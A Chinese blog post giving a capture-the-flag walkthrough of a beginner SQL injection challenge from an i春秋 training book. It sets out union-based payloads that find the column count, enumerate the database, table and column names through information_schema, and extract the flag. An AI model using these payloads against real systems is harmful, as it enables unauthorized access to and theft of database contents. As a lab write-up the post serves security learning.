i春秋《从0到1》SQL注入-1

i春秋《从0到1》SQL注入-1

九月 26, 2021

i春秋《从0到1》SQL注入-1

SQL注入简介

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

i春秋《从0到1CTFer成长之路》SQL注入-1

访问给出的地址

可以看到URL中存在参数id,通过修改id的值发现页面更改,使用order by函数查看字段长度

爆库名

加到4的时候页面错误,确定有三列,接下来使用联合查询爆库名

1
' union select 1,database(),3 %23

爆表名

页面回显数据库名为“note”,使用mysql自带的information_schema库爆表名

1
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' %23

根据页面回显可以确定flag位于“fl4g”表中

爆列名

1
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'  %23

根据页面回显信息确定列名为“fllllag”。现在我们已经知道了库名和列名,,可以构造完整的SQL语句进行联合查询获取flag

获取flag

1
union select 1,2,fllllag from fl4g %23

通过构造完整的SQL语句使用联合查询获取到本关的flag,查询中使用的%23是URL编码后的#符,意为注释后面的SQL语句